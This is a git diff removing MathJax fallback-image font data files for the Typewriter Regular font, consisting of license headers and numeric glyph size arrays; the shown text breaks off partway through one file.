-    0x3A: [  // COLON
-      [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],
-      [10,12,0],[11,15,0],[13,17,0],[16,20,0],[19,24,0],[22,29,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [3,4,1],[3,6,2],[4,6,2],[4,7,2],[5,8,2],[6,10,3],[7,12,3],[8,14,4],
-      [10,16,4],[12,20,5],[14,23,6],[16,27,7],[19,32,8],[23,39,10]
-    ],
-    0x3C: [  // LESS-THAN SIGN
-      [4,4,0],[4,5,-1],[5,5,-1],[6,6,-1],[7,7,-1],[8,9,-1],[10,11,-1],[11,12,-1],
-      [13,14,-2],[16,18,-2],[19,20,-2],[22,23,-3],[26,28,-3],[31,34,-4]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [4,2,-1],[5,2,-2],[5,2,-2],[6,3,-2],[7,3,-3],[9,4,-3],[10,5,-4],[12,5,-5],
-      [14,6,-5],[16,8,-7],[20,9,-8],[23,11,-9],[27,12,-11],[32,15,-13]
-    ],
-    0x3E: [  // GREATER-THAN SIGN
-      [4,4,0],[4,5,-1],[5,5,-1],[6,6,-1],[7,7,-1],[8,9,-1],[10,11,-1],[11,12,-1],
-      [13,14,-2],[16,18,-2],[19,20,-2],[22,23,-3],[26,28,-3],[31,34,-4]
-    ],
-    0x3F: [  // QUESTION MARK
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[11,14,0],
-      [13,17,0],[16,21,0],[19,24,0],[22,28,0],[26,34,0],[31,41,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,34,0],[33,41,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [4,5,0],[4,7,0],[5,7,0],[6,8,0],[7,9,0],[8,11,0],[10,14,0],[12,15,0],
-      [14,18,0],[16,22,0],[19,25,0],[23,29,0],[27,35,0],[32,42,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[27,34,0],[33,41,0]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,33,-1],[33,40,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[20,24,0],[23,28,0],[27,33,-1],[32,40,-1]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,41,0]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [4,4,0],[5,6,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,13,0],[12,14,0],
-      [15,17,0],[17,21,0],[21,24,0],[24,28,0],[29,34,0],[34,41,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,13,0],[11,14,0],
-      [13,17,0],[15,21,0],[18,24,0],[22,28,0],[26,34,0],[30,41,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,34,0],[33,41,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,34,0],[34,41,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,34,0],[34,41,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,13,0],[11,14,0],
-      [13,17,0],[16,21,0],[19,24,0],[22,28,0],[26,34,0],[31,41,0]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [4,6,2],[4,8,2],[5,8,2],[6,9,2],[7,10,2],[8,13,3],[10,16,3],[11,18,4],
-      [13,21,4],[16,26,5],[19,30,6],[22,35,7],[26,42,8],[31,50,9]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [4,4,0],[5,6,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,13,0],[13,14,0],
-      [15,17,0],[18,21,0],[21,24,0],[25,28,0],[30,34,0],[35,41,0]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[11,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[24,28,0],[28,34,0],[33,41,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [5,5,0],[6,7,0],[7,7,0],[8,8,0],[9,9,0],[10,11,0],[12,14,0],[14,15,0],
-      [16,18,0],[19,22,0],[22,25,0],[26,29,0],[31,35,0],[36,42,0]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [4,5,0],[5,7,0],[5,7,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,15,0],
-      [14,18,0],[17,22,0],[20,25,0],[24,29,0],[28,35,0],[33,42,0]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [4,5,1],[5,7,1],[5,7,1],[6,8,1],[8,9,1],[9,11,1],[10,14,1],[12,15,1],
-      [15,18,1],[17,22,1],[20,25,1],[24,29,1],[29,35,1],[34,42,1]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,33,-1],[33,41,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[8,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [15,17,0],[17,21,0],[20,24,0],[24,28,0],[29,34,0],[34,41,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [4,6,1],[4,7,1],[5,7,1],[6,9,1],[7,12,2],[9,14,2],[10,16,2],[12,18,2],
-      [14,22,2],[16,27,3],[19,30,3],[23,36,4],[27,43,4],[32,52,5]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [4,6,1],[4,7,1],[5,7,1],[6,9,1],[7,11,1],[8,13,1],[10,16,2],[11,18,2],
-      [13,22,2],[16,27,3],[19,30,3],[22,36,4],[26,43,5],[31,52,6]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [3,6,1],[3,7,1],[4,7,1],[4,9,1],[5,12,2],[6,14,2],[7,16,2],[8,18,2],
-      [9,22,2],[11,27,3],[13,30,3],[15,36,4],[18,43,4],[21,52,5]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [3,1,-3],[4,2,-4],[5,2,-4],[5,2,-5],[6,2,-6],[8,3,-7],[9,3,-10],[10,4,-10],
-      [12,4,-13],[14,5,-16],[17,6,-18],[20,7,-21],[24,9,-25],[28,10,-31]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[4,2,1],[5,2,1],[6,2,1],[7,2,1],[8,3,2],[10,4,3],[11,3,2],
-      [13,4,3],[16,4,3],[19,5,4],[22,5,4],[26,6,5],[31,7,6]
-    ],
-    0x60: [  // GRAVE ACCENT
-      [3,3,-2],[3,4,-2],[4,4,-2],[5,5,-3],[5,5,-5],[6,5,-6],[7,7,-7],[9,8,-8],
-      [10,9,-10],[12,11,-12],[14,13,-14],[17,15,-16],[20,18,-20],[24,22,-24]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,20,0],[30,24,0],[35,29,0]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,41,0]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,20,0],[26,24,0],[31,29,0]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [4,4,0],[5,6,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,13,0],[13,14,0],
-      [15,17,0],[18,21,0],[21,24,0],[25,28,0],[29,34,0],[35,41,0]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,20,0],[26,24,0],[31,29,0]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [3,4,0],[4,6,0],[5,6,0],[6,7,0],[6,8,0],[8,10,0],[9,13,0],[11,14,0],
-      [12,17,0],[15,21,0],[17,24,0],[21,28,0],[24,34,0],[29,41,0]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,5,2],[5,6,2],[5,6,2],[6,8,3],[7,9,3],[9,11,4],[10,14,5],[12,15,5],
-      [14,18,6],[17,23,8],[20,26,9],[24,30,10],[28,36,12],[34,44,15]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,4,0],[5,6,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,13,0],[13,14,0],
-      [15,17,0],[18,21,0],[21,24,0],[25,28,0],[29,34,0],[35,41,0]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,13,0],[11,14,0],
-      [13,17,0],[16,21,0],[19,24,0],[22,28,0],[26,34,0],[31,40,-1]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,6,2],[4,8,2],[4,8,2],[5,10,3],[6,11,3],[7,14,4],[8,18,5],[9,19,5],
-      [11,23,6],[13,29,8],[15,33,9],[18,38,10],[22,46,12],[25,56,15]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[8,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [15,17,0],[17,21,0],[20,24,0],[24,28,0],[29,34,0],[34,41,0]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[11,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[22,28,0],[27,33,-1],[32,41,0]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [5,3,0],[6,4,0],[7,4,0],[8,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [16,12,0],[19,15,0],[22,17,0],[26,20,0],[31,24,0],[37,29,0]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,20,0],[29,24,0],[35,29,0]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [14,12,0],[16,15,0],[19,17,0],[22,20,0],[27,24,0],[32,29,0]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,5,2],[5,6,2],[5,6,2],[6,8,3],[7,9,3],[9,11,4],[10,14,5],[12,15,5],
-      [14,18,6],[17,23,8],[20,26,9],[23,30,10],[28,36,12],[33,44,15]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,5,2],[5,6,2],[6,6,2],[7,8,3],[8,9,3],[10,11,4],[11,14,5],[13,15,5],
-      [16,18,6],[18,23,8],[22,26,9],[26,30,10],[31,36,12],[36,44,15]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[17,15,0],[20,17,0],[23,20,0],[28,24,0],[33,29,0]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[18,17,0],[22,20,0],[26,24,0],[31,29,0]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [4,4,0],[4,5,0],[5,5,0],[6,7,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],
-      [13,16,0],[15,19,0],[18,22,0],[21,26,0],[25,31,0],[30,37,0]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,20,0],[29,24,0],[35,29,0]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[17,15,0],[20,17,0],[23,20,0],[28,24,0],[33,29,0]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[17,15,0],[20,17,0],[24,20,0],[28,24,0],[34,29,0]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[17,15,0],[20,17,0],[23,20,0],[28,24,0],[33,29,0]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,5,2],[5,6,2],[5,6,2],[6,8,3],[7,9,3],[9,11,4],[10,14,5],[12,15,5],
-      [14,18,6],[17,23,8],[20,26,9],[24,30,10],[28,36,12],[33,44,15]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[4,5,1],[5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,10,1],[11,11,1],
-      [14,13,1],[16,16,1],[19,18,1],[22,21,1],[27,25,1],[32,29,1]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [4,6,1],[4,7,1],[5,7,1],[6,9,1],[7,11,1],[8,14,2],[10,17,2],[11,18,2],
-      [14,22,2],[16,27,3],[19,30,3],[22,36,4],[27,43,4],[32,52,5]
-    ],
-    0x7C: [  // VERTICAL LINE
-      [3,6,1],[3,8,1],[3,8,1],[4,9,1],[5,11,1],[5,13,1],[6,16,2],[7,18,2],
-      [9,22,2],[10,27,3],[12,31,3],[14,36,4],[17,43,4],[20,52,5]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [4,6,1],[4,7,1],[5,7,1],[6,9,1],[7,11,1],[8,13,2],[10,17,2],[12,18,2],
-      [14,22,2],[16,27,3],[19,30,3],[23,36,4],[27,43,4],[32,51,5]
-    ],
-    0x7E: [  // TILDE
-      [4,1,-3],[4,1,-5],[5,1,-5],[6,2,-5],[7,3,-5],[8,3,-7],[9,3,-10],[11,3,-11],
-      [13,4,-13],[15,5,-16],[18,6,-18],[21,7,-21],[25,8,-26],[29,10,-31]
-    ],
-    0x7F: [  // ??
-      [3,1,-3],[4,1,-5],[5,1,-5],[5,2,-5],[6,2,-6],[7,2,-8],[9,2,-11],[10,3,-11],
-      [12,3,-14],[14,4,-17],[17,4,-20],[20,5,-23],[24,6,-28],[28,7,-34]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/CombDiacritMarks.js
deleted file mode 100644
index b34ac0b0..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Typewriter": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,1,-3],[3,1,-5],[4,1,-5],[3,2,-5],[4,2,-6],[4,2,-8],[5,3,-10],[6,3,-11],
-      [7,4,-13],[8,5,-16],[9,5,-19],[10,6,-22],[13,7,-27],[15,9,-32]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-3],[3,1,-5],[3,1,-5],[3,2,-5],[4,2,-6],[5,2,-8],[5,3,-10],[6,3,-11],
-      [7,4,-13],[8,5,-16],[9,5,-19],[11,6,-22],[13,7,-27],[15,9,-32]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [3,1,-3],[4,2,-4],[5,2,-4],[5,2,-5],[5,2,-6],[7,3,-7],[8,3,-10],[9,4,-10],
-      [10,4,-13],[12,5,-16],[14,6,-18],[17,7,-21],[19,9,-25],[23,10,-31]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-3],[4,1,-5],[5,1,-5],[5,2,-5],[6,3,-5],[7,3,-7],[8,3,-10],[9,3,-11],
-      [11,4,-13],[13,5,-16],[15,6,-18],[17,7,-21],[21,8,-26],[24,10,-31]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[4,1,-4],[5,1,-4],[6,1,-6],[6,2,-6],[7,3,-7],[8,2,-10],[10,2,-11],
-      [11,3,-14],[13,3,-17],[16,3,-19],[18,4,-23],[21,5,-27],[26,6,-33]
-    ],
-    0x306: [  // COMBINING BREVE
-      [4,1,-3],[4,1,-5],[5,1,-5],[6,1,-6],[6,2,-6],[7,3,-8],[8,2,-11],[10,3,-11],
-      [11,3,-14],[13,4,-17],[15,5,-19],[18,5,-23],[21,6,-28],[25,7,-34]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-3],[4,1,-5],[4,1,-5],[4,2,-5],[5,2,-6],[7,2,-8],[7,2,-11],[8,3,-11],
-      [10,3,-14],[11,4,-17],[13,4,-20],[16,5,-23],[19,6,-28],[22,7,-34]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [2,1,-3],[2,1,-5],[3,1,-5],[3,2,-5],[3,2,-6],[3,2,-8],[4,3,-10],[4,3,-11],
-      [5,3,-14],[7,5,-16],[7,5,-19],[8,6,-22],[10,7,-27],[12,8,-33]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,1,-4],[5,1,-4],[5,2,-5],[5,2,-6],[7,2,-7],[8,3,-9],[8,3,-10],
-      [10,4,-12],[12,5,-15],[14,5,-17],[16,6,-21],[19,7,-25],[23,9,-30]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/Main.js
deleted file mode 100644
index d0ee4425..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Typewriter": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/Other.js
deleted file mode 100644
index ca26635d..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/unpacked/Other.js
+++ /dev/null
@@ -1,137 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Typewriter/Regular/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Typewriter": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,20,0],[26,24,0],[31,28,-1]
-    ],
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [3,5,2],[4,6,2],[4,6,2],[5,8,3],[6,9,3],[7,11,4],[8,14,5],[9,15,5],
-      [11,18,6],[13,23,8],[15,26,9],[18,30,10],[22,36,12],[25,44,15]
-    ],
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,1,-3],[3,1,-5],[4,1,-5],[3,2,-5],[4,2,-6],[4,2,-8],[5,3,-10],[6,3,-11],
-      [7,4,-13],[8,5,-16],[9,5,-19],[10,6,-22],[13,7,-27],[15,9,-32]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-3],[3,1,-5],[3,1,-5],[3,2,-5],[4,2,-6],[5,2,-8],[5,3,-10],[6,3,-11],
-      [7,4,-13],[8,5,-16],[9,5,-19],[11,6,-22],[13,7,-27],[15,9,-32]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [3,1,-3],[4,2,-4],[5,2,-4],[5,2,-5],[5,2,-6],[7,3,-7],[8,3,-10],[9,4,-10],
-      [10,4,-13],[12,5,-16],[14,6,-18],[17,7,-21],[19,9,-25],[23,10,-31]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-3],[4,1,-5],[5,1,-5],[5,2,-5],[6,3,-5],[7,3,-7],[8,3,-10],[9,3,-11],
-      [11,4,-13],[13,5,-16],[15,6,-18],[17,7,-21],[21,8,-26],[24,10,-31]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[4,1,-4],[5,1,-4],[6,1,-6],[6,2,-6],[7,3,-7],[8,2,-10],[10,2,-11],
-      [11,3,-14],[13,3,-17],[16,3,-19],[18,4,-23],[21,5,-27],[26,6,-33]
-    ],
-    0x306: [  // COMBINING BREVE
-      [4,1,-3],[4,1,-5],[5,1,-5],[6,1,-6],[6,2,-6],[7,3,-8],[8,2,-11],[10,3,-11],
-      [11,3,-14],[13,4,-17],[15,5,-19],[18,5,-23],[21,6,-28],[25,7,-34]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-3],[4,1,-5],[4,1,-5],[4,2,-5],[5,2,-6],[7,2,-8],[7,2,-11],[8,3,-11],
-      [10,3,-14],[11,4,-17],[13,4,-20],[16,5,-23],[19,6,-28],[22,7,-34]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [2,1,-3],[2,1,-5],[3,1,-5],[3,2,-5],[3,2,-6],[3,2,-8],[4,3,-10],[4,3,-11],
-      [5,3,-14],[7,5,-16],[7,5,-19],[8,6,-22],[10,7,-27],[12,8,-33]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,1,-4],[5,1,-4],[5,2,-5],[5,2,-6],[7,2,-7],[8,3,-9],[8,3,-10],
-      [10,4,-12],[12,5,-15],[14,5,-17],[16,6,-21],[19,7,-25],[23,9,-30]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,41,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,13,0],[11,14,0],
